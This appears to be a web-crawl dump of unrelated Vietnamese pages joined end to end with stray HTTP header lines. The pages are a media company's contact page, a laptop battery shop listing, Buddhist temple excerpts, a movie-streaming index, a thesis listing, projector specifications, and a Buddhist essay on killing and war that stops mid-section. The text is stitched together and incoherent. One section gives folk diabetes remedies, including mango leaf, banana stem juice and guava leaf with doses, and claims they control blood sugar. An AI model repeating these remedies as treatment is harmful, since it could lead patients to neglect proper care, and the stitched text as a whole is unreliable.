Xem tiếp
KVI TELEVISION
TVC quảng cáo Nhà máy Europipe
Phóng sự giới thiệu Nhà máy Europipe
NSUT Anh Thơ phiêu cùng ca khúc: Khúc hát sông quê
Đồng hành cùng nhan sắc Việt
Mỹ viện Mai Thủy: 15 năm Hội nhập & Phát triển
Những ngày ở Trường Sơn
Thông tin cơ quan
Tên cơ quan :
KVI
Địa chỉ :
Trụ sở: Số 5 ngõ 32 Phan Văn Trường, Q. Cầu Giấy, Hà Nội
Văn phòng: P1408 tòa 21t2 hapulico, số 85 Vũ Trọng Phụng, Q. Thanh Xuân, Hà Nội
Xưởng sản xuất: Đường K2 tổ 14 Cầu Diễn, Q. Nam Từ Liêm, Hà Nội
Email :
dinhthoaeec@gmail.com
Số ĐT :
0904241194
Fax :
0904241194
Thời tiết hiện tại
Đà Nẵng
22°C
Hải Phòng
16°C
Nha Trang
23°C
Pleiku
18°C
Sơn La
13°C
T.P Hồ Chí Minh
26°C
Hà Nội
16°C
Vinh
18°C
Nguồn
KTTV T.W
Đối tác
^ Về đầu trang
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

WARC-Identified-Payload-Type: application/xhtml+xml

Cache-Control: private

Set-Cookie: LangAdm=dmkT=; expires=Wed, 10-Jan-2018 22:49:44 GMT; path=/; HttpOnly


markdown:
# pin laptop lenovo b470
lenovo
09 tháng
## pin laptop lenovo b470 bảo hành 09 tháng tình trạng hàng mới 100%
380,000 đ
380,000 đ
## pin lenovo b470
#### Thay pin laptop Lenovo b470
**Tư vấn thay pin laptop
Xuân Thái 0983069621** __Battery laptop Lenovo IdeaPad b470__ **Phân phối Pin Laptop** giá sỉ toàn quốc
Hỗ trợ đổi mới sản phẩm trong suốt thời gian BH
Còn hàng : mới 100% OEM cao cấp
Loại pin : Li-ion
Battery Cells : 6 cell
Tham số : - Điện áp : 11.1V
- Công suất : 4400mAh
Kích thước : 206.60 x 64.36 x 20.20 mm
Màu : Đen
Trọng lượng : 316g
*Part number : * *121001071 , 121001091 , 121001094 , 121001095 , 121001096 , 121001097 , 57Y6454 , 57Y6455 , L08S6Y21 , L09C6Y02 , L09L6Y02 , L09M6Y02 , L09N6Y02 , L09S6Y02 , L10C6Y02 , L10M6F21 , L10P6F21 , L10P6Y22 , LO9L6Y02 , LO9S6Y02 *
### Sản phẩm dùng thay thế cho
[Pin Laptop Lenovo](http://laptopxinh.gianhangvn.com/pin-laptop-lenovo-50058s.html) và dùng chung cho các Model Laptop Lenovo dưới đây: *Hàng chính hãng, Bảo hành 09 tháng, 1 đổi 1*
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
||
|
|
||
|
|
|
|
||
|
|
|
có thể bạn cần:
__thay màn hình laptop lenovo b470__
**Địa chỉ: 412 đường Nguyễn Trãi, phường Thanh Xuân Trung, quận Thanh Xuân, Hà Nội** **ĐT: 0983069621**
**Thanh toán đối với cách khách hàng ở xa:**
Quý khách hàng vui lòng chuyển khoản một trong các tài khoản sau:
Chủ tài khoản :
**Lê Xuân Thái** (Hotline: **0983 069 621**)
+ Số TK : 0021000262793 Tại : NH VIETCOMBANK - CN Hà Nội
+ Số TK : 1504205127438 Tại : NH Agribank - CN Đống Đa Hà Nội
**Hình thức chuyển hàng với khách hàng ở xa:**
- Chuyển qua xe ô tô khách
- gửi chuyển fax nhanh
[viettelpost.com.vn/?tabid=208](http://viettelpost.com.vn/?tabid=208)
Quý khách có thể kiểm tra hành trình hàng thông qua mã số bưu kiện
[ổ cứng laptop](http://famlaptop.gianhangvn.com/o-cung-laptop-28420s.html), [ổ cứng ssd laptop](http://famlaptop.gianhangvn.com/o-cung-ssd-70910s.html), [caddy bay](http://famlaptop.gianhangvn.com/caddy-bay-111435s.html), [thay màn hình laptop](http://famlaptop.gianhangvn.com/thay-man-hinh-laptop-gia-re-286065v.html), [thay bàn phím laptop](http://famlaptop.gianhangvn.com/ban-phim-laptop-50057s.html), [pin laptop](http://famlaptop.gianhangvn.com/pin-laptop-50056s.html), [thay bản lề laptop](http://famlaptop.gianhangvn.com/ban-le-laptop-271608s.html), [sạc laptop](http://famlaptop.gianhangvn.com/sac-laptop-zin-272621s.html), [sửa chữa laptop](http://famlaptop.gianhangvn.com/sua-laptop-286065d.html), [sửa laptop ở thanh xuân](http://famlaptop.gianhangvn.com/sua-laptop-286065d.html), [sửa laptop lấy ngay](http://famlaptop.gianhangvn.com/sua-laptop-286065d.html)
#### Bình luận
#### Sản phẩm cùng loại
#### Danh mục sản phẩm
#### Module tin tức 2
#### Sp được xem nhiều nhất
#### Fanpage Facebook
#### Liên kết website
#### Thống kê
- Đang online 58
- Hôm nay 392
- Hôm qua 585
- Trong tuần 977
- Trong tháng 8,756
- Tổng cộng 1,193,362


markdown:
"Trong khu vực này, không còn có nhiều sự trung thành của gia đình" Sư bà Neng Qing, trụ trì của chùa cho biết. "Người già thật sự đang rất đau khổ. Trong một ngôi làng kết bên, có một người già có tám đứa con. Mỗi sáng ông đến thăm gia đình của từng người con nhưng không ai mời ông ăn sáng. Người dân trong làng liên[...]
Sự sinh hoạt tu hành của hệ thống Tổ Đình Linh Sơn hưng thạnh cho đến ngày 30 tháng 07 âm lịch (1965) bị bom đạn Mỹ bắn phá hư hại 100%. Từ đó chư Tăng Ni và Cô Nhi Viện phải tản cư xuống núi để đi về nhiều nơi như Biên Hòa, Bà Điểm, Lái Thiêu tạm trú lánh nạn tu học đến ngày mùng 08 tháng 4 năm Bính Ngọ tập trung về[...]
Quan Âm Tu viện cảnh tôn nghiêm,
Dọc theo quốc lộ hướng Hòa Biên.
Có Cô nhi viện nuôi con trẻ,
Vài trăm đạo chúng bậc chân tu.
Sau một tuần về Nha Trang thăm gia đình, Ngọc Hằng trở lại Quan Âm Tu Viện để được thầy Thích Vạn Hùng, người thầy đạo cao đức trọng Ngọc Hằng thương kính nhất cuộc đời dẫn lên núi tu ít hôm. Thầy bảo đây là lần đầu tiên sau gần 40 năm đi tu thầy dẫn một đệ tử đi hành hương viếng chùa làm Ngọc Hằng xúc động hơn khi[...]
Về phía Cô nhi, các cháu luôn luôn được nuôi dưỡng tinh thần, một tinh thần bất khả phân, một tình thương vô bờ bến, một tâm hồn vô tư kỷ, xoa dịu bao sanh linh bằng những tia hào quang vô biên của Đạo Vàng bất tận. Các cháu được vui sống trong vòng tay hiền dịu, oai linh của Đức Tôn Sư, của Đức Thầy Huệ Giác, của chư[...]
Vì thể hiện lòng từ bi của đạo Phật, tôi thương những hài nhi cô độc, nên mới khởi tâm làm việc từ thiện, xã hội, nguyện nuôi giúp những hài nhi của các hàng Phật tử Bổn đạo, khi sinh con khó nuôi, khó dạy, hoặc không đủ khả năng nuôi nấng, vì nghèo khó thiếu thốn vật chất và những hài nhi vô thừa nhận, hoặc những hài[...]
Trang nhà không giữ bản quyền. Mọi hình thức sao chép đều được hoan nghênh.
Thư từ, bài vở đóng góp xin gửi về email:linhsonphatgiaocom@gmail.com

X-Powered-By-Plesk: PleskWin


markdown:
VẤN: Gia đình con ở quê và lại là gia đình từ đường. Do đó, việc cúng giỗ là điều không thể thiếu được. Cũng may gia đình có thờ Phật nhưng đám giỗ vẫn trộn lẫn cả chay và mặn. Nếu ai mất nhằm ngày chay thì cúng chay còn ngược lại là cúng mặn. Đến ngày tết thì từ 20 trở đi ở nhà chỉ toàn là lo cúng , lo nấu ăn con cảm[...]
Tượng Tam Thế Phật.- Lớp trên cùng tột ở chỗ giáp vách phía trong, có ba pho tượng để ngang một dẫy, hình dáng giống nhau, tức là tượng "Thường trụ tam thế diệu pháp thân", người ta thường gọi tắt là tượng Tam thế Phật, nghĩa là Phật thường trụ, trong thời gian quá khứ, hiện tại và vị lai.
Đối với những người vẫn còn ngộ nhận về lễ cầu an này, tôi cho rằng, thay vì sắm mâm cao cỗ đầy gây lãng phí thì nên dành tiền đó để tích đức như: Ủng hộ người nghèo, tham gia làm từ thiện, quan tâm tới người thân quanh mình... Nếu thành tâm mà làm được những việc như vậy thì không những không sợ sao chiếu mệnh mà phúc[...]
Trang nhà không giữ bản quyền. Mọi hình thức sao chép đều được hoan nghênh.
Thư từ, bài vở đóng góp xin gửi về email:linhsonphatgiaocom@gmail.com


markdown:
Xem phim Lồng Tiếng
Góp Ý
Trang Chủ
Thể loại
Phim Thuyết Minh
Phim Hành Động
Phim Võ Thuật
Phim Tâm Lý
Phim Viễn Tưởng
Phim Hài Hước
Phim Kinh Dị - Phim Ma
Phim Cổ Trang
Phim Hình Sự
Phim Hoạt Hình
Phim Phiêu Lưu
Phim Thần Thoại
Phim Lãng Mạn
Phim Teen - Học Trò
TV Show
Phim Trinh Thám
Phim Lịch Sử
Phim Chiến tranh
Quốc gia
Trung Quốc
Hàn Quốc
Đài Loan
Hồng Kông
Nhật Bản
Mỹ - Châu Âu
Việt Nam
Thái Lan
Philippines
Ấn Độ
Châu Á
Phim lẻ
Phim Bộ
Phim mới
Phim 2016
Phim 2015
Phim 2014
Phim 2013
Phim 2012
Phim 2011
Phim 2010
Phim 2009
Trang chủ
»
phim am muu tinh yeu tap 456
Tập 763
Phim Thuyết Minh Lồng Tiếng Việt
Âm Mưu Và Tình Yêu
Am muu va tinh yeu THVL1 phan 1 phan 2
2015
[:vi]Đề Cử[:en]Nominated[:]
Xem Phim Running Man tập mới nhât
Xem Phim Đảo Hải Tặc tập mới nhât
Xem Phim Bảy Viên Ngọc Rồng Siêu Cấp tập mới nhât
Xem Phim Tru Tiên - Thanh Vân Chí tập mới nhât
Xem Phim Âm Mưu Và Tình Yêu tập mới nhât
Xem Phim Quái Vật Kinh Dị tập mới nhât
Xem Phim Vệ Sĩ Siêu Cấp tập mới nhât
Ngày
Tuần
Tháng
1
Zombie Háo Sắc
Rape Zombie Lust Of The Dead
2011
2
Cô Thư Ký Kì Lạ
Populaire
2012
3
Thêm Một Lần Cuối
Second Last Love
2016
4
Siêu Xe
Knight Rider
2008
5
Bà Hoàng Phương Nam
Queen of the South
2016
6
Nhục Bồ Đoàn 3
Sex and Zen: Extreme Ecstasy
2011
7
Chung Một Mái Nhà
Love On A Rooftop
2015
8
Nụ Hôn Tinh Nghịch Ở Trường Đại Học
Itazurana Kiss Part 2: Campus Hen
2017
9
Siêu Người Máy Biến Hình
Transformers Energon
2004
10
Chuyện Hẹn Hò
Were Dating Now
2002
LongTieng.Net
là một máy chủ
xem phim
chất lượng cao với hình ảnh và âm thanh nổi bật. Đặc biệt LongTieng.Net tập trung vào các bộ phim theo xu thế và bình chọn của các mạng lưới bình chọn phim có uy tín. Để nhằm cung cấp các bộ phim tốt nhất dễ dàng nhất cho người xem LongTieng.Net đã không ngừng cập nhật những bộ phim có
Lồng Tiếng ( Thuyết Minh ).
Bạn sẽ không phải lo lắng bất cứ điều gì so với những trang web khác nữa. Chúng tôi cung cấp những bộ phim mới chất lượng cao và hoàn toàn miễn phí. Tại đây bạn có thể tìm các bộ phim với đầy đủ các thể loại như : Phim Hành Động, Phim Tâm Lý, Phim Tình Cảm, Phim Võ Thuật, hay phim kho học viễn tưởng, phim hài, hay kinh dị... Chúng tôi sẽ tập trung vào các bộ phim có Thuyết Minh ( Lồng Tiếng ) của các phiên bản như : VNLT, USLT, FFVN, VNTM, USTM,... Hy vọng các bạn sẽ cảm thấy thoải mái khi xem phim trên LongTieng.Net
Liên hệ
Liên hệ quảng cáo
Hợp tác nội dung
Thông báo vi phạm bản quyền
Đăng tải phim
Theo dõi qua RSS
Điều khoản sử dụng
Điều khoản chung
Bản quyền và trách nhiệm nội dung
PROTECTED
Phim Thuyết Minh
x
Xem Phim Lồng Tiếng Online

Server: cloudflare-nginx

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Vary: Accept-Encoding

X-XSS-Protection: 1; mode=block


markdown:
# Điều khiển mờ cho bộ biến đổi DC-DC
- Tìm hiểu cấu tạo, nguyên lý hoạt động và lập phương trình mô hình toán học của một số bộ biến đổi DC-DC cơ bản: Bộ tăng áp, bộ giảm áp, và bộ tăng giảm áp. - Nghiến cứu lý thuyết logic mờ và điều khiển mờ cho bộ biến đổi DC-DC - Ứng dụng phần mềm Matlab & Simulink để mô hình hóa bộ biến đổi giảm áp và bộ điều khiển đối tượng này.
![ pdf](/images/icons/pdf16x16.gif)
[lylyngoc](#)| Ngày: 26/12/2013 | Lượt xem: 974 | Lượt tải: 0 ![ download](/images/download.gif)
![ download](/images/download.gif)
**Điều khiển mờ cho bộ biến đổi DC-DC**, để tải tài liệu về máy bạn click vào nút DOWNLOAD ở trên
Các file đính kèm theo tài liệu này:
tomtat_24_9877.pdf


markdown:
Trong dân gian còn nhiều vị thuốc quen thuộc, dễ sử dụng và hiệu quả trong kiểm soát đường huyết và ngăn ngừa biến chứng. Những lá cây thuốc có sẵn xung quanh ta, rất dễ tìm, dễ gặp, chỉ cần để ý và đừng " thờ ơ " với nó... TS - Lương y Phùng Tuấn Giang - Truyền nhân đời thứ 16 của Nhà thuốc gia truyền nhiều đời nhất Việt Nam Thọ Xuân Đường tư vấn chuyên mục.
Lá xoài non là một vị thuốc công hiệu kiểm soát đường huyết và ngăn ngừa biến chứng bệnh tiểu đường.
Trong lá xoài non có các chất:
*protein, lipid, carbonhydrate* và các yếu tố vi lượng như * kali, calci*, *sắt*, *phospho, caroten,…* Theo nghiên cứu, lá xoài non có tác dụng hạ đường huyết, đồng thời làm giảm nồng độ *cholesterol* máu và phòng các biến chứng rối loạn chuyển hóa *lipid* và mạch máu do bệnh tiểu đường gây nên. Liều dùng: lá xoài non 10 – 30g lá tươi hoặc 2- 6g lá khô mỗi ngày.
- Nước ép từ 20g lá xoài non uống vào buổi sáng lúc đói.
- 5 lá xoài non cắt sợi rồi cho vào cốc, đổ nước sôi hãm qua đêm, uống vào sáng hôm sau.
- Lá Xoài non phơi khô trong bóng râm, đem nghiền thành bột dùng vào buổi sáng và buổi chiều, mỗi lần dùng nửa thìa nhỏ pha loãng với 200ml nước ấm.
Thành phần hoạt chất GS4 gồm nhiều axit gymnemic trên Dây thìa canh có tác dụng kích thích sản sinh tế bào β tuyến tụy, tăng hoạt tính của insuline, giúp kiểm soát và ổn định đường huyết; ức chế hấp thu đường ở ruột non; ức chế chuyển hóa glycogen ở gan thành glucose vào máu; kích thích các enzyme sử dụng đường tại các mô cơ. Dây thìa canh có tác dụng hạ đường huyết, giảm cholesterol, từ đó giảm các biến chứng rối loạn chuyển hóa lipid, bệnh lý mạch máu trên bệnh nhân tiểu đường.
Mỗi ngày dùng 50g Dây thìa canh khô, đun sôi 15 phút với 1,5 lít nước, uống sau bữa ăn 15 phút/ ngày 3 lần. Nước sắc có mùi vị thơm ngon, dễ uống.
Thân hoặc củ chuối hột cũng là vị thuốc quý. Các nhà khoa học đã chứng minh, trong chuối hột có chất giúp ổn định đường huyết. Phương pháp phổ biến nhất để trị tiểu đường là đào lấy củ chuối, rửa sạch, giã hoặc ép lấy nước cho người bệnh uống. Cũng có thể dùng thân cây chuối hột, khoét ngang một lỗ, để bên dưới một chiếc bát nhỏ để nước từ thân cây tiết ra, mang nước này cho người bệnh uống cũng có tác dụng tương tự.
Việc ăn quả ổi hay dùng lá ổi tươi sắc lấy nước uống hằng ngày cũng rất có lợi cho bệnh nhân tiểu đường
Lá ổi là vị thuốc nam chữa bệnh từ lâu đời. Bài thuốc: Lá sa kê, đậu bắp và lá, búp ổi non trị bệnh tiểu đường rất tốt. Cách dùng: Rửa sạch rồi đun lên trong nồi đất với hai lít nước đến khi cô đọng còn khoảng 500ml, chia ra để uống 3 lần/ ngày. Các hợp chất flavonoid có trong lá ổi giúp người bệnh hạ đường huyết nhanh chóng.


markdown:
Notice
This feature is available on the app.Go and enjoy various features on the app.
The live broadcast has just started. Are you going to watch now?
It will take you to the V LIVE app so that you can enjoy videos in high or HD quality.
You can watch a normal quality video when canceling.
Tap and hold to make a copy of a URL
You need a membership to use the channel.
If you have already subscribed to it, you can use it on the app.

Accept-Ranges: bytes

Content-Language: en


markdown:
**ViewSonic **là hãng công nghệ của Mỹ, được thành lập năm 1987 tại California. Nhà máy của hãng đặt tại Trung Quốc chuyên sản xuất các sản phẩm **máy chiếu** ứng dụng công nghệ cao. Với hơn 30 văn phòng đại diện trên toàn cầu với mục tiêu tiếp cận gần nhất với người dùng, mang lại các dịch vụ tốt nhất và luôn lắng nghe phản hồi từ khách hàng để hoàn thiện sản phẩm của mình. Dưới đây là chi tiết thông số kỹ thuật của các loại máy chiếu ViewSonic: **Máy chiếu ViewSonic PJD5255L | HDMI**
- Độ sáng: 3,300 Ansi Lumens
- Độ phân giải: 800 x 600 (SVGA) hỗ trợ lên đến WUXG (1600 x 1200)
- Độ tương phản: 20,000:1
- Tuổi thọ bóng đèn: 10,000 giờ
- Góc chỉnh vuông hình ảnh: +/-40 độ
- Màu sắc hiển thị: 1,07 tỷ màu
- Kích thước
**màn chiếu**: 30 – 300 inch (1m đến 10m)
- Cổng kết nối: 01 x HDMI(1.4); 01 x VGA in/ 01 x VGA out; 01 x RS232; 01 x USB
- Nguồn điện: AC 100 ~ 240V± 10%, 50/60Hz
- Kích thước: 362×231×109 mm
- Trọng lượng: 2.4 kg
- Bảo hành: 24 tháng cho thân máy, bóng đèn 12 tháng hoặc 1.000 giờ
- Hỗ trợ tự động tương thích với các thiết bị đầu vào như: Máy tính, đầu phát
**HD**, 3D, Blu-ray…, Trình **3D-ready**/120Hz mượt mà, hỗ trợ **Video Full HD** **Máy chiếu giá rẻ **của ViewSonic với tính năng nổi bật, thiết kế thời trang, tinh tế mang lại hiệu năng rất tuyệt vời khi sử dụng. **Máy chiếu** ViewSonic PJD5255L phù hợp với trình chiếu cho lớp học, phòng họp và giải trí.

Set-Cookie: fc_device=desktop; expires=Wed, 10-Jan-2018 22:56:02 GMT; Max-Age=2592000; path=/


markdown:
**QUAN ĐIỂM PHẬT GIÁO**
VỀ SÁT SANH & CHIẾN TRANH
VỀ SÁT SANH & CHIẾN TRANH
Thích Giác Hoàng
Chiến tranh đi liền với sát sanh. Chiến tranh đồng nghĩa với tội ác. Sát sanh là nhân, chiến tranh là quả và ngược lại. Hai yếu tố này hỗ trợ cho nhau để tạo nên chia lìa, đau đớn, khủng hoảng, tan tóc, đau thương cho cuộc đời. Khi nào còn chiến tranh, nghĩa là con người còn phải gánh chịu đau khổ, giết hại, thù hằn, đấu tố. Chiến tranh sẽ không bao giờ chấm dứt nếu con người còn tâm địa giết hại thú vật không thương tiếc, giẫm lên mạng sống của muôn vật, không biết quý trọng mạng sống của đồng loại!
Nhân trả lời một nghi vấn của một Phật tử: “
**Tổng thống Bush có phạm tội sát sanh hay không khi đem quân đi đánh Afghanistan hay không?”**Người viết xin trình bày sơ bộ các cách phán đoán tội của một người phạm tội sát sanh cũng như các cấp độ của sát sanh và vài vấn đề liên hệ đến chiến tranh để bổ sung cho câu trả lời trên. **I. Các yếu tố cần và đủ để đánh giá một hành động sát sanh:**
Theo quan điểm của Ngài Buddhaghosa (Phật Âm hoặc Phật Minh), nhà sớ giải lớn nhất của Phật giáo Thượng Tọa Bộ, muốn đánh giá mức độ bất thiện của hành động sát sanh cần dựa vào năm yếu tố:
1. Ðối tượng: Con người, phi nhân, động vật bậc thấp hay động vật bậc cao.
2. Tác ý: hành động được đi kèm với nhận thức, ý thức, có suy nghĩ thận trọng và có mục đích.
3. Nhận thức: Nhận rõ đối tượng mình giết là loài gì.
4. Nỗ lực: Bất cứ hình thức nào dẫn đến cái chết
5. Kết quả: Con người chết là do hành động của mình.
Tiêu chí trên được áp dụng cho cách phán đoán mức độ phạm tội của các hàng Tỳ-kheo hoặc Tỳ-kheo-ni, đặc biệt là bốn trọng giới: dâm, đạo, sát, vọng. Tuy nhiên, chúng ta có thể áp dụng rộng rãi để đánh giá mọi hành động thiện hoặc bất thiện trong xã hội ngày nay. Cũng cần nói ở đây, theo ý của người viết chỉ cần bốn yếu tố là đủ rồi, không cần yếu tố thứ ba, vì yếu tố này đã thuộc vào yếu tố thứ hai. Ðại Ðức Thanissaro trong tác phẩm
*The Buddhist Monastic Code[i]*cũng đồng ý quan điểm này. Vì nếu không nhận rõ đối tượng mình giết là ai, làm sao gọi là “tác ý” được? Do đó, chúng tôi chỉ trình bày 4 yếu tố thôi. **1. Ðối tượng**
Vì đối tượng bị giết khác nhau, nên dẫn đến tội khác nhau: Ví dụ, một vị Tỳ-kheo giết một một chúng sanh không phải là con người như một Dạ-xoa
*(Yakkha)*, một Naga, một loại quỷ (peta), thậm chí là một chư thiên *(davata)*thì phạm tội Thâu-lan-giá, chứ không phạm tội Ba-la-di *(Pàràjika)*.
Một vị Tỳ-kheo cố ý giết một động vật thì bị xem như là phạm tội Ba-dật đề (
*Pacittiya)*(giới 61) chứ không bị phạm Ba-la-di.
Trong Kinh có ghi một trường hợp: một vị Tỳ-kheo đào hố để sập bẫy người hay thú, nhưng nếu dã thú bị sập bẫy mà chết, ông chỉ phạm tội Ba-dật-đề
*(Pacittiya)*, ngược lại nếu người rơi vào đó mà chết, ông phạm tội Ba-la-di.
Nếu một vị Tỳ-kheo cố ý tước đoạt mạng sống của con người dù là “phá thai” như bằng cách sắp xếp chỗ mổ, cung cấp thuốc thang, khuyến khích hướng dẫn phá thai đều phạm tội Ba-la-di.
Nếu đối tượng bị giết hại là cha mẹ, là các bậc A-la-hán hoặc các bậc Thánh khác thì chịu tội cực nặng, nặng hơn ba-la-di, sau khi thân hoại mạng chung, do nghiệp ác chiêu cảm liền đi vào các cảnh giới đau khổ như các địa ngục Vô Gián.
**2. Tác ý**
Ðây là điểm quan trọng nhất trong 5 yếu tố. Vì “tác ý”
*(cetanà)*là quyết định có dụng tâm, có ý thức và có mục đích”. Đức Phật nói, “Này các Tỳ-kheo, chính tác ý là nghiệp” ( *Cetanaaha"m bhikkhave kamma"m vadaami*).
Do đó, cũng cùng một hành động, kết quả giống nhau, nhưng tác ý khác nhau, dẫn đến nghiệp quả khác nhau. Ví dụ, một người làm nhà ở trên vô tình làm rớt đồ xuống người phía dưới, có thể dẫn đến tử vong. Trường hợp như vậy, không kết tội người ấy là kẻ giết người được. Một người tài xế, xe bị đứt thắng, vô tình làm chết cả mấy chục người. Kết cục là vậy, nhưng không thể kết tội tài xế ấy là giết người được!
Trong Luật tạng ghi lại câu chuyện một vị vì thương đồng học của mình mà giới thiệu thuốc để uống, nhưng rất tiếc cả hai đều không biết dược tính của thuốc ấy và bệnh trạng, thế là sau khi uống xong, người bệnh chết. Ðiều này cũng không thể kết tội vị kia là kẻ sát nhân được.
Trường hợp không cố ý giết, chỉ muốn làm bị thương hoặc đau đớn, nhưng không ngờ kết quả dẫn đến cái chết, thì chỉ phạm tội Ba-dật-đề
*(Pacittiya).* **3. Nỗ lực**
“Nỗ lực” ở đây không chỉ cho ý chí muốn giết, mà chỉ cho ý chí đó được thể hiện bằng hành động, ngôn ngữ. Bộ
*Samantapàsàdikà*liệt kê 6 cách sau có thể dẫn đến chấm dứt đời sống của một chúng sanh. Ðó là: (i) Chính tay người ấy hạ sát, (ii) xúi giục kẻ khác hạ sát, (iii) các loại vũ khí như tên, đạn, (iv) dùng thủ đoạn (như sập bẫy hoặc thuốc độc), (v) ma thuật hoặc bằng năng lực huyền bí[ii]. Nói chung, dù gián tiếp hoặc trực tiếp sát hại một con người đều phạm tội sát cả. Trường hợp giả như kẻ kia đáng lẽ bị tự tay mình giết, nhưng chưa kịp thực hiện được ý định của mình, kẻ kia lại tự vẫn, hoặc bị chết do ai giết, v.v… thì cũng không buộc người có ý định giết người kia là phạm giới sát “ba-la-di” .
Bộ
*Samanta Pàsàdika*cho rằng một vị Tỳ-kheo xúi giục mọi người rằng: tại một địa điểm nào đó có một tướng cướp đang trú ẩn, nếu ai cắt đầu được tên tướng cướp kia thì được vinh dự, được nhiều vàng bạc, v.v… Nếu tên tướng cướp kia bị giết do lời xúi giục của vị Tỳ-kheo này thì vị Tỳ-kheo ấy cũng phạm tội Ba-la-di. Nói chung, khi thọ mạng của con người chưa hết, mà bằng cách hiểm độc nào đó khiến cho người kia chết, đều phạm tội Ba-la-di. Trong *Vinita Vatthu[iii]*ghi lại câu chuyện một tội phạm bị chính quyền chặt tay, chặt chân, sống trong sự đau khổ. Một vị Tỳ-kheo bảo với thân nhân của anh chàng kia rằng: các ngươi có muốn hắn chết sớm không? Nếu muốn thì cho hắn uống thuốc độc, thế là họ làm theo. Nếu vậy, vị Tỳ-kheo kia phạm Ba-la-di.
Nói về các nguyên nhân dẫn đến người tử vong thì vô số, nhất là trong chiến tranh, vô số thủ đoạn được thực hiện để đạt được mục tiêu “chiến thắng” của mình. Do đó, bất cứ phương tiện nào được sử dụng có chủ ý giết người thì người thực hiện đều phạm tội sát sanh cả.
**4. Kết quả**
Một khi đã có tác ý cố sát, biết rõ đối tượng mình sát là con người, dùng nhiều thủ đoạn, mưu mẹo để giết, nhưng kết quả khác nhau, thì luận tội cũng khác nhau.
Nếu có một Tỳ-kheo phạm tội giết người có chủ ý, như vậy vị ấy phạm Ba-la-di rồi, nhưng nếu đối tượng kia không chết liền, mà đau đớn, chết từ từ có phạm không? Chắc chắn là phạm! Tuy nhiên, nếu người kia không chết, mà chỉ bị tổn thương đến sức khỏe, đến thể hình thì người kia không phạm Ba-la-di mà chỉ phạm Thâu-lan-giá
*(Thullaccaya)*. Nếu đã cố tâm, nhưng không làm cho người kia chết hoặc đau đớn gì thì phạm tội đột-kiết-la *(dukkata)*.
Bốn yếu tố này là điều kiện không thể thiếu để nhận định mức độ tội lỗi “sát sanh”. Các nguyên tắc này đã được Ngài Buddhaghosa và Ðại Ðức Thanissaro triển khai rộng, đặc biệt về các giới trọng của hàng Tỳ-kheo và Tỳ-kheo-ni.
### II. Các cấp độ sát sanh
Sát sanh nói riêng hoặc làm một việc bất thiện khác nói chung, có mối liên hệ mật thiết với tác ý và và mức độ hiểu biết của đương sự. Do đó, để đánh giá một hành động sát sanh ở mức độ nào, cần phải chia thành nhiều cấp độ để dễ đánh giá. Theo Tiến sĩ Peter Harvey, giới sát có thể chia thành 5 cấp độ, đại lược như sau: (1) hành động không có tác ý, làm tổn hại đến côn trùng; (2) Biết rõ hành động ấy là ác, nhưng không kềm chế được vì các tâm bất thiện đang khống chế; (3) Một hành động bất thiện, nhưng không biết rõ đối tượng mình giết là ai; (4) Một hành động bất thiện khi có tác ý, biết rõ những gì đang làm và biết rõ hành động ấy là bất thiện; (5) Một hành động bất thiện có chủ ý, biết rõ những gì đang làm, nhưng không nhận ra đó là hành động sai lầm.[iv]
Theo người viết, thứ tự từ nhẹ đến nặng phải được sắp xếp lại sau: (1) hành động không có tác ý, làm tổn hại đến côn trùng; (2) Một hành động bất thiện, nhưng không biết rõ đối tượng mình giết là ai; (3) Biết rõ hành động ấy là ác, nhưng không kềm chế được, vì các tâm bất thiện đang khống chế; (4) Một hành động bất thiện khi có tác ý, biết rõ những gì đang làm và biết rõ hành động ấy là bất thiện; (5) Một hành động bất thiện có chủ ý, biết rõ những gì đang làm, nhưng không nhận ra đó là hành động sai lầm. Trong cách sắp xếp của người viết, trật tự chỉ thay đổi số 2 thành số 3 và số 3 thành số hai.
**1. Hành động không có tác ý, làm tổn hại đến côn trùng**
Trong cuộc sống tương đối này, chúng ta đi lại, làm việc làm sao tránh khỏi giẫm đạp, giết hại những côn trùng, hoặc sâu bọ. Mặc dầu chư Tỳ-kheo được cảnh tỉnh là phải chú tâm đến từng bước chân của mình để khỏi đạp phải côn trùng, sâu bọ, nhưng không thể nào khỏi một cách tuyệt đối. Ví dụ: khi sử dụng đèn, đặc biệt các loại đèn dầu trong một số chùa quê thì con thiêu thân cứ đâm đầu vào lửa. Cuốc đất trồng cây, chăm sóc hoa kiểng, khai khẩn nương rẫy, ép mía làm đường,v.v… như ở các chùa miền quê Việt Nam, làm sao không sát hại côn trùng!
Các trường hợp bị bắt buộc như trên hoặc trong trường hợp tâm trí của can phạm bất thường, bị điên, bị khùng thì vị ấy không bị kết tội là “Ba-la-di” (Trong nhiều bộ Luật).
**2. Một hành động bất thiện, nhưng không biết rõ đối tượng mình giết hại**
Ví dụ, có người đi săn chỉ giương cung bắn chơi, không ngờ lại giết người, hoặc khi đi săn, chủ ý giết thú chứ không giết người, nhưng kết quả là “giết người”. Trong trường hợp như vậy, người giết nhầm kia không thể bị kết tội là kẻ “sát nhân” được. Cũng tương tự cho các vị xuất gia, tùy theo trường hợp mà xử trị.
**3. Biết rõ hành động ấy là ác, nhưng không kềm chế được, vì các tâm bất thiện khống chế**
Trường hợp này khi người sát hại biết việc làm của mình là tổn thương đến người khác, là vi phạm đạo đức xã hội,v.v… nhưng không thể làm chủ được các bản năng xung động như tham lam, sân hận đang phác tác dữ dội trong tâm. Có người làm xong rồi đi tù cũng chịu, còn thề độc là chết đọa địa ngục cũng cam lòng, v.v… Các hạng người này nóng nảy nhất thời, không kịp suy nghĩ chín chắn, cho nên tội nhẹ hơn người làm một việc mà biết rất rõ hành động đó là ác độc, nhưng vẫn cứ thực hiện để trả thù cho một chuyện gì đó. Hạng người này tuy bên ngoài có vẻ hơi ác, nhưng thật ra họ không có tâm ác độc sâu hiểm như hai cấp độ sau.
**4. Một hành động bất thiện khi có tác ý, biết rõ những gì đang làm và biết rõ hành động ấy là bất thiện**
